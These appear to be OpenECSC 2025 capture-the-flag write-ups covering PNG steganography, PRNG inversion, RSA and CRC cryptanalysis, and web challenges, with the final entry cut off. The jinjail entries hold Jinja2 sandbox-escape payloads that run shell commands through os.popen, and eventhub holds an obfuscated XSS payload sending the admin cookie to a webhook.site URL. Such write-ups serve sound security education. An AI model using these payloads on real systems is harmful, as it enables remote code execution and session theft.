OpenECSC 2025 Writeups
yellow
by NoRelect Dedicated this challenge to a person that I love whose favorite color is yellow :)
We are given a single file yellow.png. The length of the chunks are suspicious. We act on this suspicion and get the flag.
from png import Png
png_file = Png.from_file('/home/kjc/Downloads/yellow/yellow.png')
print(''.join(chr(c.len) for c in png_file.chunks))
# flag: openECSC{W3_4l1_l1v3_1n_4_y3ll0w_subm4r1n3}scrambled-randomness
by Dimitris-Toulis I wanted to use a one-time pad, but I didn't have enough randomness, so I scrambled it to create more!
We are given this:
import os
from PRNG import PRNG
flag = open('flag.txt', 'rb').read()[::-1]
prng = PRNG(os.urandom(8))
ciphertext = bytes([m ^ k for m,k in zip(flag,prng)])
open('output.txt', 'w').write(ciphertext.hex())And the PRNG implementation:
import numpy as np
MASK64 = ((1 << 64) - 1)
def rotr(x, n):
return ((x >> n) | (x << (64 - n))) & MASK64
def clmul(a, b):
res = 0
for i in range(64):
if (a >> i) & 1:
res ^= b << i
return res & MASK64
def weird_poly(x, coef):
y, p = coef[0], 1
for i in range(1,len(coef)):
p = clmul(~p,x)
y ^= clmul(coef[i],p)
return y
def make_scramble_matrix(n, k):
k %= 256
m = np.zeros((8,8))
for i in range(0,8):
m[i, i] = (2*((n % 6) + k + 1) + 1)
for i in range(0,8):
m[i, (i-1)%8] = 2*((5 - n) % 6) + 1
for i in range(0,8):
m[i, (i+1)%8] = -1 * (1 + 2*(n % 4)) + 2*k
for i in range(0,8):
m[i, n % 8] += 1 if (m[i, n % 8] == 0) else 2
return m
class PRNG:
def __init__(self, seed):
assert len(seed) == 8
self.state = int.from_bytes(seed)
self.t = 0
def scramble(self):
state = self.state
state ^= rotr(state, 7)
k = clmul(state, MASK64) >> 63
vec = np.array(list(state.to_bytes(8)))
matrix = make_scramble_matrix(self.t // 8 + (1-k) * (-1), k * state - 1)
state = int.from_bytes((matrix @ vec).astype(np.uint8).tobytes())
state ^= rotr(state, 17) ^ rotr(state, 42) ^ rotr(state, 24) ^ rotr(state, 53)
state = weird_poly(state, [0x4e1b88c5615038ae, 1, 2, 2, 3, 3, 4, 3, 4])
state = clmul(state, 0xa90fd521eeab98d3)
self.state = state
def __next__(self):
if self.t % 8 == 0 and self.t != 0:
self.scramble()
value = self.state.to_bytes(8)[self.t % 8]
self.t += 1
return (value * 55) % 256
def __iter__(self):
return selfWe first need to invert the scramble function. This is not much trouble, our strategy is to step-by-step, modelling each operation on the state and inverting it. This is easy and requires little creative thinking.
import numpy as np
from z3 import *
MASK64 = (1 << 64) - 1
def clmul_z3_b(a, B):
res = BitVecVal(0, 64)
for i in range(64):
bit = Extract(i, i, a)
res = res ^ If(bit == BitVecVal(1, 1), BitVecVal(B << i, 64), BitVecVal(0, 64))
return res & MASK64
def clmul_z3_a(A, b):
res = BitVecVal(0, 64)
for i in range(64):
if (A >> i) & 1:
res = res ^ (b << i)
return res & MASK64
def clmul_z3(a, b):
res = BitVecVal(0, 64)
for i in range(64):
bit = Extract(i, i, a)
res = res ^ If(bit == BitVecVal(1, 1), b << i, BitVecVal(0, 64))
return res & MASK64
def all_smt(s, initial_terms):
def block_term(s, m, t):
s.add(t != m.eval(t, model_completion=True))
def fix_term(s, m, t):
s.add(t == m.eval(t, model_completion=True))
def all_smt_rec(terms):
if sat == s.check():
m = s.model()
yield m
for i in range(len(terms)):
s.push()
block_term(s, m, terms[i])
for j in range(i):
fix_term(s, m, terms[j])
yield from all_smt_rec(terms[i:])
s.pop()
yield from all_smt_rec(list(initial_terms))
def invert_weird_poly(target_state, coef=[0x4E1B88C5615038AE, 1, 2, 2, 3, 3, 4, 3, 4]):
x = BitVec('x', 64)
y = BitVec('y', 64)
p = BitVec('p', 64)
s = Solver()
s.add(y == BitVecVal(coef[0], 64))
p = clmul_z3_a(-2, x)
y = y ^ clmul_z3_a(coef[1], p)
for i in range(2, len(coef)):
p = clmul_z3(~p, x)
y = y ^ clmul_z3_a(coef[i], p)
s.add(y == BitVecVal(target_state, 64))
return [m[x].as_long() for m in all_smt(s, [x, y, p])]
def solve_state(state, _t_pm):
# step 1: clmul invert
a = BitVec('a', 64)
s = Solver()
s.add(clmul_z3_b(a, 0xA90FD521EEAB98D3) == BitVecVal(state, 64))
ms = [m[a].as_long() for m in all_smt(s, [a])]
assert len(ms) == 1
(state,) = ms
# step 2: weird_poly invert
ms = invert_weird_poly(state)
assert len(ms) == 1
(state,) = ms
# step 3: rotr invert
a = BitVec('a', 64)
s = Solver()
s.add(
a
^ RotateRight(a, 17)
^ RotateRight(a, 42)
^ RotateRight(a, 24)
^ RotateRight(a, 53)
== state
)
ms = [m[a].as_long() for m in all_smt(s, [a])]
assert len(ms) == 1
(state,) = ms
# step 4: matrix invert
def matrix_invert(state):
def make_scramble_matrix(n):
ms = []
for k in range(256):
m = np.zeros((8, 8))
for i in range(0, 8):
m[i, i] = 2 * ((n % 6) + k + 1) + 1
for i in range(0, 8):
m[i, (i - 1) % 8] = 2 * ((5 - n) % 6) + 1
for i in range(0, 8):
m[i, (i + 1) % 8] = -1 * (1 + 2 * (n % 4)) + 2 * k
for i in range(0, 8):
m[i, n % 8] += 1 if (m[i, n % 8] == 0) else 2
ms.append(m)
return ms
from sage.all import matrix, vector, Integers
R = Integers(2**8)
def python_to_sage_mat(R, m):
return matrix(R, [[R(int(x)) for x in row] for row in m])
def python_to_sage_vec(R, v):
return vector(R, [R(int(x)) for x in v])
def sage_to_python_vec(v):
return [int(x) for x in v]
state = np.array(list(map(int, state.to_bytes(8)))).astype(np.uint8)
state = python_to_sage_vec(R, state)
res = set()
for k in {0, 1}:
for m in make_scramble_matrix(_t_pm + (1 - k) * (-1)):
m = python_to_sage_mat(R, m)
sol = sage_to_python_vec(m.solve_right(state))
res.add(int.from_bytes(bytes(list(sol))))
return res
possible = matrix_invert(state)
# step 5: final rotr
result = set()
for state in possible:
a = BitVec('a', 64)
s = Solver()
s.add(a ^ RotateRight(a, 7) == state)
ms = [m[a].as_long() for m in all_smt(s, [a])]
for m in ms:
result.add(m)
return resultFinally,
from state import *
x = bytes.fromhex(
'9b46dbc7987008ee4c0e1843b7479393fdad7ef9fad259a42900b4d04a347bd0c5400726d499d0e55b670c452eb61052e8c07045205abbf3be213d2c71d0798b96c5fad52cae9a267e69376925183dcdae0a3ca03d4e8d2b' # given by problem, from output.txt
)
last_state = [a ^ b for a, b in zip(x[-8:], b'CSCEnepo')]
# first, solve for the state
v = [BitVec(f'v{i}', 8) for i in range(8)]
s = Solver()
for i in range(8):
s.add((v[i] * 55) % 256 == last_state[i])
states = [[m[d].as_long() for d in v] for m in all_smt(s, v)]
assert len(states) == 1
last_state = int.from_bytes(bytes(states[0]))
# now, unwind
def unwind(last_state, t):
def is_printable(s: bytes):
for c in s:
if not (32 <= c <= 126):
return False
return True
if t <= 0:
return [[]]
sols = []
for s in solve_state(last_state, t):
key = bytes((s.to_bytes(8)[i % 8] * 55) % 256 for i in range(8))
plaintext = bytes([a ^ b for a, b in zip(x[8 * (t - 1) : 8 * t], key)])
if is_printable(plaintext):
print(plaintext)
sols += [sol + [plaintext.decode()[::-1]] for sol in unwind(s, t - 1)]
return sols
print([''.join(sol[::-1]) for sol in unwind(last_state, 10)])
# flag: openECSC{How??_Oh_maybe_I_shouldn't_make_my_own_PRNG_1_h0p3_you_l1k3d_th15_cha113ng3!1!}jinjail
by xtea418 pyjail but jinja sandbox?
Here is the code:
import typing
from flask import Flask, request
from jinja2.sandbox import SandboxedEnvironment
app = Flask(__file__)
env = SandboxedEnvironment()
env.globals["typing"] = typing
@app.post("/")
def render():
content = request.form["content"]
if "module" in content:
return "funny (ab)user."
# ๐๐๐
try:
assert len(content) < 75
return env.from_string(content).render()
except:
# ๐จ๐จ๐จ
return "funny (ab)user."
if __name__ == "__main__":
app.run("0.0.0.0", 1337, debug=False)The flag is at /flag.txt. Looking into it, a Jinja2 sandbox blocks attributes starting with an underscore and some other special ones like mro. The challenge supplies typing in the globals, so we look for attributes we can call there:
>>> list(filter(lambda x: not x.startswith('_'), typing.__dict__.keys()))
['abstractmethod', 'ABCMeta', 'collections', 'defaultdict', 'copyreg', 'functools', 'operator', 'sys', 'types', 'WrapperDescriptorType', 'MethodWrapperType', 'MethodDescriptorType', 'GenericAlias', 'TypeVar', 'ParamSpec', 'TypeVarTuple', 'ParamSpecArgs', 'ParamSpecKwargs', 'TypeAliasType', 'Generic', 'NoDefault', 'Any', 'NoReturn', 'Never', 'Self', 'LiteralString', 'ClassVar', 'Final', 'Union', 'Optional', 'Literal', 'TypeAlias', 'Concatenate', 'TypeGuard', 'TypeIs', 'ForwardRef', 'Unpack', 'EXCLUDED_ATTRIBUTES', 'Protocol', 'Annotated', 'runtime_checkable', 'cast', 'assert_type', 'get_type_hints', 'get_origin', 'get_args', 'is_typeddict', 'assert_never', 'no_type_check', 'no_type_check_decorator', 'overload', 'get_overloads', 'clear_overloads', 'final', 'T', 'KT', 'VT', 'T_co', 'V_co', 'VT_co', 'T_contra', 'CT_co', 'AnyStr', 'Hashable', 'Awaitable', 'Coroutine', 'AsyncIterable', 'AsyncIterator', 'Iterable', 'Iterator', 'Reversible', 'Sized', 'Container', 'Collection', 'Callable', 'AbstractSet', 'MutableSet', 'Mapping', 'MutableMapping', 'Sequence', 'MutableSequence', 'ByteString', 'Tuple', 'List', 'Deque', 'Set', 'FrozenSet', 'MappingView', 'KeysView', 'ItemsView', 'ValuesView', 'Dict', 'DefaultDict', 'OrderedDict', 'Counter', 'ChainMap', 'Generator', 'AsyncGenerator', 'Type', 'SupportsInt', 'SupportsFloat', 'SupportsComplex', 'SupportsBytes', 'SupportsIndex', 'SupportsAbs', 'SupportsRound', 'NamedTupleMeta', 'NamedTuple', 'TypedDict', 'Required', 'NotRequired', 'ReadOnly', 'NewType', 'Text', 'TYPE_CHECKING', 'IO', 'BinaryIO', 'TextIO', 'reveal_type', 'dataclass_transform', 'override', 'is_protocol', 'get_protocol_members']We can access the sys module, which seems promising. The code blocks module but this is easy to get around and we can access the os module. From there, it's easy; we can run arbitrary commands. This payload works:
url = https://1d12ae61-882d-424f-9fcc-0261599d1f39.openec.sc:1337/
-d "content={{ typing.sys['mod'+'ules']['os'].popen('cat /flag.txt').read() }}"And just like that, we get the flag.
HTTP/1.1 200 OK Content-Length: 43 Content-Type: text/html; charset=utf-8 Date: Wed, 01 Oct 2025 13:48:45 GMT Server: Werkzeug/3.1.3 Python/3.12.11 openECSC{l04d3r_g0_brrrrrrrr_be03fe98e1c1}
jinjail2
by xtea418 pyjail but jinja sandbox? ๐๐๐
Similar to the last one, here is the code:
import typing
from flask import Flask, request
from jinja2.sandbox import SandboxedEnvironment
app = Flask(__file__)
env = SandboxedEnvironment()
env.globals["typing"] = typing
@app.post("/")
def render():
content = request.form["content"]
# ๐๐๐
if "sys" in content or "__" in content or len(content) > 150:
return "funny (ab)user."
try:
return env.from_string(content).render()
except:
# ๐จ๐จ๐จ
return "funny (ab)user."
if __name__ == "__main__":
app.run("0.0.0.0", 1337, debug=False)But the flag filename is also random:
COPY flag.txt /flag.txt RUN mv /flag.txt "/$(cat /dev/urandom | head -c 45 | hexdump | tr -d ' \n')_flag.txt"
This isn't a problem if we have RCE, since we can ls for the filename. Essentially the only difference from the previous challenge is that the code blocks sys, but this is easy to get around, taking in mind that Jinja2 allows us to run obj|attr('name') to dynamically access an attribute. We have this:
url = https://ce469611-7268-48fe-8fa8-888b473ce756.openec.sc:1337/
-d "content={{ (typing|attr('sy'+'s'))['mod'+'ules']['os'].popen('ls /').read() }}"Then:
HTTP/1.1 200 OK Content-Length: 100 Content-Type: text/html; charset=utf-8 Date: Wed, 01 Oct 2025 14:11:10 GMT Server: Werkzeug/3.1.3 Python/3.12.11 a9d550abbb92_flag.txt app bin ...
And just run the payload again but with cat. The flag is:
openECSC{4tt3rg4ttr_g0_brrrrrrrr_9492f5d4b6b9}
swapped
by Dimitris-Toulis Surely I can just swap e and d, right?
We are given:
from Crypto.Util.number import getPrime
p = getPrime(1024)
q = getPrime(1024)
if p > q:
p, q = q, p
N = p * q
e = getPrime(500)
d = pow(e, -1, (p-1)*(q-1))
e, d = d, e
primes = [getPrime(256) for _ in range(9)]
e_residues = [e % p for p in primes]
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import sha256
flag = open('flag.txt', 'rb').read()
key = sha256((str(p) + str(q)).encode()).digest()
ct = AES.new(key, AES.MODE_ECB).encrypt(pad(flag, 16)).hex()
open('output.txt', 'w').write(f'''\
{N = }
{primes = }
{e_residues = }
ct = {ct}
''')Solution code:
from hashlib import sha256
from pathlib import Path
from Crypto.Cipher import AES
exec(Path('output.txt').read_text())
def wiener(e, N):
for f in continued_fraction(e / N).convergents():
k, d = f.as_integer_ratio()
if k != 0 and (e * d) % k == 1:
phi = (e * d - 1) // k
x = var('x', domain=ZZ)
if sol := solve(x**2 - (N - phi + 1) * x + N, x):
return sol
e = crt(e_residues, primes)
p, q = wiener(e, N)
p, q = min(p, q), max(p, q)
key = sha256((str(p) + str(q)).encode()).digest()
print(AES.new(key, AES.MODE_ECB).decrypt(ct))polite-email
by dagurb When begging for challenge hints and flags, it's good to be polite.
And we are given this script:
from fastcrc import crc32, crc64
import os
crc32s = ['autosar', 'iscsi', 'iso_hdlc']
crc64s = ['go_iso', 'xz']
def ImpossibleMAC(data: bytes, mac: int):
for algo in crc32s:
crc = getattr(crc32, algo)
imac: bytes = crc(data)
if imac != mac:
return False
for algo in crc64s:
crc = getattr(crc64, algo)
imac: bytes = crc(data)
if imac != mac:
return False
return True
def makeEmail(sender: str, recipient: str, body: str):
return f'''Dear {recipient}.
{body}
Best regards,
{sender}'''
def sendEmailToAuthor(sender: str, data: bytes, mac: int):
politeEmail = makeEmail(sender, 'Challenge Author', 'Pretty please give me the flag.').encode()
# Make sure to be polite when you ask the challenge author for the flag
if politeEmail not in data:
return makeEmail('Challenge Author', sender, 'That is not very polite. As such I will not give you the flag.')
# Careful! If the MAC is not correct, how will the author know if the message was sent correctly?
if not ImpossibleMAC(data, mac):
return makeEmail('Challenge Author', sender, 'Okay that was very polite, but the MAC was not correct. Can you please resend the mail?')
return makeEmail('Challenge Author', sender, f'Sure.\nHere\'s the flag: {os.getenv("FLAG")}. But please do not tell the orga that I gave you this flag.')
if __name__ == '__main__':
name = input('Enter name: ')
email = bytes.fromhex(input('Enter mail: '))
mac = int(input('Enter MAC: '))
print(sendEmailToAuthor(name, email, mac))I looked at the code for fastcrc, and noted that the configurations all have the same parameters except for the polynomial. Firstly, we define some helper functions to make it easier to work with.
R.<x> = GF(2)['x']
def bitstream_to_polynomial(stream: str):
assert set(stream).issubset({'0', '1'})
return R(list(map(int, stream))[::-1])
def i2p(n: int):
return bitstream_to_polynomial(bin(n)[2:])
def p2i(p):
return int(''.join(map(str, p.list()[::-1])), 2)
def b2p(data: bytes):
return bitstream_to_polynomial(
''.join(bin(b)[2:].zfill(8) for b in data)
)
def p2b(p):
l = ceil(p.degree() / 8) * 8
b = ''.join(map(str, p.list()[::-1])).zfill(l)
return bytes(int(b[i:i+8], 2) for i in range(0, l, 8))
# means we reverse the bitstream bytewise.
def reflect(bs: bytes):
return bytes(int(bin(b)[2:].zfill(8)[::-1], 2) for b in bs)
# means we reverse the bitstream.
def reflect_i32(num):
return int(bin(num)[2:].zfill(32)[::-1], 2)
def reflect_i64(num):
return int(bin(num)[2:].zfill(64)[::-1], 2)
# basically flipping, too lazy to implement arbitrary init
def xor(bs: bytes):
return bytes(b^^0xff for b in bs)
Then, we model the problem in SageMath, setting up some test cases to ensure the outputs matches the outputs from the library fastcrc.
def test():
# poly = 0x04C11DB7
# refin = false
# refout = false
# init = 0xffffffff
# xorout = 0xffffffff
g = x**32 + i2p(0x04C11DB7)
m = b2p(xor(b'1234') + b'56789') * x**32
crc = p2i(m.quo_rem(g)[1]) ^^ 0xffffffff
assert(hex(crc) == '0xfc891918')
# poly = 0x04C11DB7
# refin = true
# refout = false
# init = 0xffffffff
# xorout = 0xffffffff
g = x**32 + i2p(0x04C11DB7)
m = b2p(reflect(xor(b'1234') + b'56789')) * x**32
crc = p2i(m.quo_rem(g)[1]) ^^ 0xffffffff
assert(hex(crc) == '0x649c2fd3')
# poly = 0x04C11DB7
# refin = true
# refout = true
# init = 0xffffffff
# xorout = 0xffffffff
g = x**32 + i2p(0x04C11DB7)
m = b2p(reflect(xor(b'1234') + b'56789')) * x**32
crc = reflect_i32(p2i(m.quo_rem(g)[1])) ^^ 0xffffffff
assert(hex(crc) == '0xcbf43926')
# poly = 0x000000000000001b
# refin = true
# refout = true
# init = 0xffffffffffffffff
# xorout = 0xffffffffffffffff
g = x**64 + i2p(0x000000000000001b)
m = b2p(reflect(xor(b'12345678'))) * x**64
crc = reflect_i64(p2i(m.quo_rem(g)[1])) ^^ 0xffffffffffffffff
assert (crc == 8743395034664010163)
test()Now, we can setup a system:
$$\begin{aligned}(p_0 + m)x^{32} &= r_0 \pmod{g_0} \\ (p_0 + m)x^{32} &= r_0 \pmod{g_1} \\ (p_0 + m)x^{32} &= r_0 \pmod{g_2} \\ (p_1 + m)x^{64} &= r_1 \pmod{g_3} \\ (p_1 + m)x^{64} &= r_1 \pmod{g_4}\end{aligned}$$
Which we can reorganize:
$$\begin{aligned}m &= r_0x^{-32} - p_0 \pmod{g_0} \\ m &= r_0x^{-32} - p_0 \pmod{g_1} \\ m &= r_0x^{-32} - p_0 \pmod{g_2} \\ m &= r_1x^{-64} - p_1 \pmod{g_3} \\ m &= r_1x^{-64} - p_1 \pmod{g_4}\end{aligned}$$
In code:
def solve_prefix(PREFIX):
p0_ = xor(PREFIX[:4]) + PREFIX[4:]
p1_ = xor(PREFIX[:8]) + PREFIX[8:]
p0 = b2p(reflect(p0_ + b'\x00'*32))
p1 = b2p(reflect(p1_ + b'\x00'*32))
r0 = i2p(0xffffffff)
r1 = i2p(0xffffffffffffffff)
gs = []
rs = []
for i, p in enumerate([0xf4acfb13, 0x1edc6f41, 0x04c11db7]):
gs.append(x**32 + i2p(p))
rs.append(r0 * (x**32).inverse_mod(gs[-1]) - p0)
for i, p in enumerate([0x000000000000001b, 0x42f0e1eba9ea3693]):
gs.append(x**64 + i2p(p))
rs.append(r1 * (x**64).inverse_mod(gs[-1]) - p1)
sol = crt(rs, gs)
suffix = p2b(sol).rjust(32, b'\x00')
for i, p in enumerate([0xf4acfb13, 0x1edc6f41, 0x04c11db7]):
g = x**32 + i2p(p)
m = (b2p(reflect(p0_) + suffix)) * x**32
crc = reflect_i32(p2i(m.quo_rem(g)[1])) ^^ 0xffffffff
print(f'crc{i} =', crc)
for i, p in enumerate([0x000000000000001b, 0x42f0e1eba9ea3693]):
g = x**64 + i2p(p)
m = (b2p(reflect(p1_) + suffix)) * x**64
crc = reflect_i64(p2i(m.quo_rem(g)[1])) ^^ 0xffffffffffffffff
print(f'crc{i} =', crc)
suffix = reflect(suffix)
print('suffix:', suffix)
print('input:', (PREFIX + suffix).hex())
solve_prefix(b'Dear Challenge Author.\n\nPretty please give me the flag.\n\nBest regards,\nkjc')eventhub
by Aryt3 You can finally share events now! M-M-Maybe I can get an invite too ๐ฅบ๐๐
Essentially, we have this code:
def selenium_task(url: str):
options = Options()
options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
service = Service("/usr/local/bin/geckodriver") # install geckodriver via apt or wget
driver = webdriver.Firefox(service=service, options=options)
driver.set_page_load_timeout(10)
try:
driver.get("http://127.0.0.1/")
driver.add_cookie({
"name": "admin",
"value": FLAG,
"path": "/",
"httpOnly": False,
})
driver.get(url)
time.sleep(10)
finally:
driver.quit()Which we can call, but only with the url parameter starting with http://127.0.0.1/. Luckily, we can post an event and create our own custom webpage on the domain.
class EventURL(BaseModel):
protocol: str
domain: str
port: Optional[int]
path: str
def to_url(self) -> str:
"""Reconstruct the full URL."""
netloc = self.domain
if self.port:
netloc += f":{self.port}"
return f"{self.protocol}://{netloc}{self.path}"
@app.post("/event")
async def post_event(
name: str = Form(...),
protocol: str = Form(...),
domain: str = Form(...),
port: Optional[int] = Form(None),
path: str = Form(...)
):
if any([i for i in protocol if i not in string.ascii_lowercase]):
return RedirectResponse(url="/", status_code=303)
event_id = len(events) + 1
event = Event(
name=name,
URL=EventURL(protocol=protocol, domain=domain, port=port, path=path)
)
events[event_id] = event
return RedirectResponse(url=f"/event/{event_id}", status_code=303)
@app.get("/event/{event_id}", response_class=HTMLResponse)
async def get_event(request: Request, event_id: int, auto_redir: bool=False):
event = events.get(event_id)
if not event:
raise HTTPException(status_code=404, detail="Event not found")
return templates.TemplateResponse("event.html", {
"request": request,
"event_name": event.name,
"event_url": event.URL,
"auto_redir": auto_redir,
"next": next
})There is a check that the protocol is in lowercase ASCII, which does nothing. We can set that to javascript and aim for a JavaScript URI to achieve XSS. We can set the path to empty string and the port to zero and ignore them. Here is the template:
{% extends "base.html" %}
{% block title %}EventHub - {{ event_name }}{% endblock %}
{% block content %}
<h2>{{ event_name }}</h2>
<p>Event URL: <a id="continue-link" href="{{ event_url.to_url() }}">{{ event_url.to_url() }}</a></p>
{% if auto_redir %}
<p>You will be redirected automatically in 3 secondsโฆ</p>
<script>
setTimeout(() => {
window.location = "{{ event_url.to_url() }}";
}, 3000);
</script>
{% else %}
<p><a class="button" href="{{ event_url.to_url() }}">Continue</a></p>
{% endif %}
{% endblock %}Now, we focus on manipulating the domain for the payload. The primary issue here is that we can't get rid of the double slash // that the class EventURL places, which the browser interprets as a JS comment. We can bypass that with %0D, a carriage return. You can also use %0A. I think there were some other issues, but I don't remember; I iteratively tested payloads until this one finally worked:
url = https://e38d22f5-1e2e-4ef4-9702-e73284eed2d1.openec.sc:1337/event -d "name=test2&protocol=javascript&domain=%250Deval(atob(`bG9jYXRpb24uaHJlZj1gaHR0cHM6Ly93ZWJob29rLnNpdGUvOGE2NTg4NDQtM2UyNy00ODk2LWI0N2EtZjc4NmZkMTg1MTg0P2Nvb2tpZT0ke2RvY3VtZW50LmNvb2tpZX1gCg==`))&port=0&path="
Now we just report the url http://127.0.0.1/event/51?auto_redir=True. After 20 seconds, in our webhook, we see:
https://webhook.site/8a658844-3e27-4896-b47a-f786fd185184?cookie=admin=openECSC{i_hate_browser_differentials_%F0%9F%A4%AE_4d8e15a9044b} # flag to submit is: openECSC{i_hate_browser_differentials_๐คฎ_4d8e15a9044b}
jinjail-revenge
by xtea418 pyjail but jinja sandbox? (minus cheese ๐)
This is the exact same as the previous jinjail challenge, except it's packaged through a Flask instance and we need to POST the payload.
url = https://13b2710c-3474-4319-82c7-412383f6de3e.openec.sc:1337/
-d "content={{ typing.sys['mod'+'ules']['os'].popen('cat /flag.txt').read() }}"Where we get,
HTTP/1.1 200 OK Content-Length: 62 Content-Type: text/html; charset=utf-8 Date: Thu, 02 Oct 2025 23:33:53 GMT Server: Werkzeug/3.1.3 Python/3.13.7 openECSC{th1s_t1m3_l04d3r_4ctu4lly_g0_brrrrrrrr_5bbe72402d30}
jinjail2-revenge
by xtea418 pyjail but jinja sandbox? ๐๐๐ (minus cheese ๐)
Again, this is the exact same as the previous jinjail2 challenge, except it's packaged through a Flask instance and we need to POST the payload.